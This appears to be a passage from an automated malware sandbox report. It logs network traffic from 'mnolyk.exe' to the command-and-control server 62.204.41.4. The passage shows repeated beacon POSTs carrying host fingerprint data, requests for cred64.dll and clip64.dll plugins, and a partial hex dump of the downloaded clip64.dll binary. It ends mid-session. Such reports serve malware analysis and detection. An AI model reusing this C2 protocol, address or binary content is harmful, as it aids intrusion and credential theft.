Feb 6, 2023 18:38:48.489782095 CET	50357	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.550889015 CET	80	50356	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.551096916 CET	50356	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.552860975 CET	80	50357	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.553062916 CET	50357	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.553890944 CET	50357	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.614931107 CET	80	50357	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.617072105 CET	80	50357	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.617238998 CET	50357	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.742794037 CET	50357	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.743665934 CET	50358	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.803263903 CET	80	50358	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.803366899 CET	80	50357	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.803512096 CET	50358	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.803534985 CET	50357	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.804090977 CET	50358	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.863928080 CET	80	50358	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.866875887 CET	80	50358	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.867038012 CET	50358	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.972547054 CET	50358	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.973361015 CET	50359	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.032320023 CET	80	50358	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.032466888 CET	50358	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.035944939 CET	80	50359	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.036242962 CET	50359	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.036581039 CET	50359	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.099320889 CET	80	50359	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.107068062 CET	80	50359	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.107203960 CET	50359	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.224095106 CET	50359	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.224692106 CET	50360	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.286041021 CET	80	50359	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.286176920 CET	50359	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.288378954 CET	80	50360	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.288505077 CET	50360	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.288881063 CET	50360	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.351543903 CET	80	50360	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.354939938 CET	80	50360	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.355091095 CET	50360	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.473759890 CET	50360	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.477391005 CET	50361	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.539719105 CET	80	50360	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.539753914 CET	80	50361	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.539817095 CET	50360	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.539863110 CET	50361	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.540296078 CET	50361	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.600558043 CET	80	50361	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.603307009 CET	80	50361	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.603445053 CET	50361	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.724078894 CET	50361	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.725084066 CET	50362	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.784831047 CET	80	50361	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.785212994 CET	50361	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.785881996 CET	80	50362	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.786036015 CET	50362	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.786550999 CET	50362	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.847816944 CET	80	50362	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.850887060 CET	80	50362	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:49.853267908 CET	50362	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.956203938 CET	50362	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:49.957103968 CET	50363	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.018944979 CET	80	50362	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.018986940 CET	80	50363	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.019108057 CET	50362	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.019141912 CET	50363	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.019718885 CET	50363	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.081340075 CET	80	50363	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.084964991 CET	80	50363	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.085191965 CET	50363	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.190603971 CET	50363	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.191440105 CET	50364	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.251588106 CET	80	50363	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.252090931 CET	80	50364	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.252270937 CET	50363	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.253164053 CET	50364	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.253164053 CET	50364	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.313800097 CET	80	50364	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.316068888 CET	80	50364	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.316320896 CET	50364	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.425873995 CET	50364	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.427228928 CET	50365	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.487093925 CET	80	50364	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.487282991 CET	50364	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.488315105 CET	80	50365	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.489289999 CET	50365	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.493705034 CET	50365	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.555087090 CET	80	50365	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.557642937 CET	80	50365	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.561353922 CET	50365	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.675569057 CET	50365	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.676603079 CET	50366	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.736437082 CET	80	50365	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.736641884 CET	50365	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.739053965 CET	80	50366	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.739289999 CET	50366	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.739823103 CET	50366	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.802825928 CET	80	50366	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.806164980 CET	80	50366	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.806390047 CET	50366	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.909356117 CET	50366	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.910228968 CET	50367	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.970899105 CET	80	50367	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.971005917 CET	50367	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:50.971847057 CET	80	50366	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:50.971935034 CET	50366	80	192.168.2.7	62.204.41.4

HTTP Request Dependency Graph

62.204.41.4

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49724	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:35:56.006951094 CET	336	OUT	GET /Gol478Ns/Plugins/cred64.dll HTTP/1.1 Host: 62.204.41.4
Feb 6, 2023 18:35:56.069925070 CET	337	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:35:56 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49725	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:35:56.007021904 CET	337	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:35:56.075514078 CET	337	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Feb 6, 2023 18:35:56.099328995 CET	338	OUT	GET /Gol478Ns/Plugins/clip64.dll HTTP/1.1 Host: 62.204.41.4
Feb 6, 2023 18:35:56.161401987 CET	339	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:35:56 GMT Content-Type: application/octet-stream Content-Length: 91136 Last-Modified: Fri, 03 Feb 2023 17:19:21 GMT Connection: keep-alive ETag: "63dd4219-16400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 18 8f 2c 43 79 e1 7f 43 79 e1 7f 43 79 e1 7f 18 11 e2 7e 49 79 e1 7f 18 11 e4 7e cb 79 e1 7f 18 11 e5 7e 51 79 e1 7f 96 14 e5 7e 4c 79 e1 7f 96 14 e2 7e 52 79 e1 7f 96 14 e4 7e 62 79 e1 7f 18 11 e0 7e 46 79 e1 7f 43 79 e0 7f 19 79 e1 7f d8 17 e8 7e 40 79 e1 7f d8 17 e1 7e 42 79 e1 7f d8 17 1e 7f 42 79 e1 7f d8 17 e3 7e 42 79 e1 7f 52 69 63 68 43 79 e1 7f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d4 38 dd 63 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 de 00 00 00 8c 00 00 00 00 00 00 00 3e 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 4a 01 00 9c 00 00 00 3c 4b 01 00 3c 00 00 00 00 80 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 54 10 00 00 20 3f 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3f 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 dd 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 61 00 00 00 f0 00 00 00 62 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 14 00 00 00 60 01 00 00 0c 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 80 01 00 00 02 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 54 10 00 00 00 90 01 00 00 12 00 00 00 52 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$,CyCyCy~Iy~y~Qy~Ly~Ry~by~FyCyy~@y~ByBy~ByRichCyPEL8c!>@J<K<T ?p?@,.textV `.rdataab@@.dataD`D@.rsrcP@@.relocTR@B
Feb 6, 2023 18:35:56.161428928 CET	340	IN	Data Raw: 00 00 00 00 6a 20 68 a8 3c 01 10 b9 70 68 01 10 e8 3f 23 00 00 68 00 ea 00 10 e8 8c 2a 00 00 59 c3 cc cc cc 6a 38 68 cc 3c 01 10 b9 88 68 01 10 e8 1f 23 00 00 68 60 ea 00 10 e8 6c 2a 00 00 59 c3 cc cc cc 6a 38 68 cc 3c 01 10 b9 a0 68 01 10 e8 ff Data Ascii: j h<ph?#hYj8h<h#h`lYj8h<h"hLYj8h<h"h ,Yj8h=h"h*Yj0hD=h"h)Yj0hx=i"h@)Yhh=i
Feb 6, 2023 18:35:56.161452055 CET	342	IN	Data Raw: 7d f0 10 8d 45 dc 0f 43 45 dc 0f be 04 18 8b 04 81 83 f8 ff 74 27 c1 e6 06 03 f0 83 c7 06 78 18 8b cf 8b c6 d3 f8 8b 4d f4 50 e8 1f 1b 00 00 8b 55 ec 83 ef 08 8b 4d f8 43 3b da 72 c2 8b 45 f8 85 c0 74 0e 68 00 04 00 00 50 e8 f0 21 00 00 83 c4 08 Data Ascii: }ECEt'xMPUMC;rEthP!Ur(MBrI#+wVRQ!UEEEr(MBrI#+wRQ~!E_^[]GU4E0SVW3E
Feb 6, 2023 18:35:56.161468983 CET	343	IN	Data Raw: 23 52 51 e8 31 1d 00 00 83 c4 08 33 f6 e9 74 ff ff ff 52 51 e8 20 1d 00 00 83 c4 08 5f 8b c6 5e 8b e5 5d c3 e8 3f 43 00 00 e8 4a 1a 00 00 cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 18 8b 55 1c 8b 4d 08 56 85 c0 0f 84 82 00 00 00 53 40 57 50 Data Ascii: #RQ13tRQ _^]?CJUQEUMVS@WP] M}CM+IDuNFu+FVjVSWP5WjWj UM_[^r%BrI#+wRQ
Feb 6, 2023 18:35:56.161482096 CET	344	IN	Data Raw: 10 72 2d 8b 4c 24 40 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 f8 10 00 00 52 51 e8 06 18 00 00 83 c4 08 8b 0d e4 68 01 10 83 f9 10 72 2e a1 d0 68 01 10 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 Data Ascii: r-L$@BrI#+RQhr.hArP#+QPD$`hhL$Dh~D$tfhQT$DL$dT$Xr-L$@BrI#+PRQ^hr.hArP
Feb 6, 2023 18:35:56.161519051 CET	346	IN	Data Raw: 00 00 8a 41 02 3a 42 02 75 0f 83 7c 24 1c ff 74 7b 8a 41 03 3a 42 03 74 73 83 ff 25 73 6e 83 ce 02 c7 44 24 50 00 00 00 00 b9 01 00 00 00 89 74 24 18 3b f9 c7 44 24 54 0f 00 00 00 8d 44 24 20 c6 44 24 40 00 0f 42 cf 83 7c 24 34 10 51 0f 43 44 24 Data Ascii: A:Bu\|$t{A:Bts%snD$Pt$;D$TD$ D$@B\|$4QCD$$L$DPT$TD$@L$@C\|$Pu81u\|$0D$\|$0L$@T$TD$D$t9D$r-BrI#+LRQZD$ T$tD$r-L$`B
Feb 6, 2023 18:35:56.161560059 CET	347	IN	Data Raw: 6c 8b c7 83 e8 04 89 44 24 1c 72 19 8b 01 3b 02 75 1c 8b 44 24 1c 83 c1 04 83 c2 04 83 e8 04 89 44 24 1c 73 e7 83 f8 fc 0f 84 bd 00 00 00 8a 01 3a 02 75 39 83 7c 24 1c fd 0f 84 ac 00 00 00 8a 41 01 3a 42 01 75 26 83 7c 24 1c fe 0f 84 99 00 00 00 Data Ascii: lD$r;uD$D$s:u9\|$A:Bu&\|$A:Bu\|$A:Bt~GwvD$Pt$;D$TD$ D$@B\|$4QCD$$L$DPT$TD$@L$@C\|$Pu0xf90u\|$0D$\|$0L$@T$T
Feb 6, 2023 18:35:56.161581039 CET	348	IN	Data Raw: fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 f1 01 00 00 52 51 e8 ff 08 00 00 83 c4 08 80 7c 24 17 00 74 17 83 ec 18 8b cc 68 00 69 01 10 e8 35 04 00 00 e8 e0 eb ff ff 83 c4 18 8b 74 24 18 83 ec 18 8b cc 81 ce 00 10 00 00 Data Ascii: rI#+RQ\|$thi5t$t$0hiL$xWxr\|$4L$ CL$ ;xudD$r;uD$D$s:u1\|$A:Bu\|$tzA:Bu\|$tkA:Btc_u^
Feb 6, 2023 18:35:56.161598921 CET	349	IN	Data Raw: 0e 50 57 51 e8 41 1d 00 00 8b 45 08 83 c4 0c 89 46 10 8b c6 89 5e 14 5f 5e 5b 5d c2 04 00 e8 97 de ff ff e8 22 2a 00 00 cc cc 55 8b ec 51 53 56 8b f1 57 8b 7d 0c 8b 4e 14 89 4d fc 3b f9 77 28 8b de 83 f9 10 72 02 8b 1e 57 ff 75 08 89 7e 10 53 e8 Data Ascii: PWQAEF^_^[]"*UQSVW}NM;w(rWu~S";_^[]v+;v;BC=r%H#;QtwA#HtPm3WuEP~^
Feb 6, 2023 18:35:56.161617994 CET	351	IN	Data Raw: 00 50 e8 bc 2e 00 00 59 85 c0 74 03 32 c0 c3 e8 a2 30 00 00 b0 01 c3 6a 00 e8 d0 00 00 00 84 c0 59 0f 95 c0 c3 e8 cc 0c 00 00 84 c0 75 03 32 c0 c3 e8 0c 35 00 00 84 c0 75 07 e8 c2 0c 00 00 eb ed b0 01 c3 e8 04 35 00 00 e8 b3 0c 00 00 b0 01 c3 55 Data Ascii: P.Yt20jYu25u5Uu}uuMPu,Uuu'YY]cth,j3Y!+*j4YnU}u(jOu2]T4uj%Y]U=
Feb 6, 2023 18:35:56.223263025 CET	352	IN	Data Raw: 00 00 00 53 57 ff 75 08 e8 b1 f8 ff ff 8b f0 89 75 e4 83 ff 01 75 22 85 f6 75 1e 53 50 ff 75 08 e8 99 f8 ff ff 53 56 ff 75 08 e8 64 fd ff ff 53 56 ff 75 08 e8 6a 00 00 00 85 ff 74 05 83 ff 03 75 48 53 57 ff 75 08 e8 47 fd ff ff 8b f0 89 75 e4 85 Data Ascii: SWuuu"uSPuSVudSVujtuHSWuGut5SWuD$MQ0h:uuue3uEMdY_^[UV5u3@uuu,^]U}uuuu]

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	49734	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:00.024734020 CET	442	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:00.093935013 CET	442	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.7	49825	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:23.646591902 CET	538	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:23.710850954 CET	539	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.7	49826	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:23.882734060 CET	539	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:23.947952032 CET	540	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.7	49827	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:24.116180897 CET	540	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:24.180759907 CET	541	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.7	49828	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
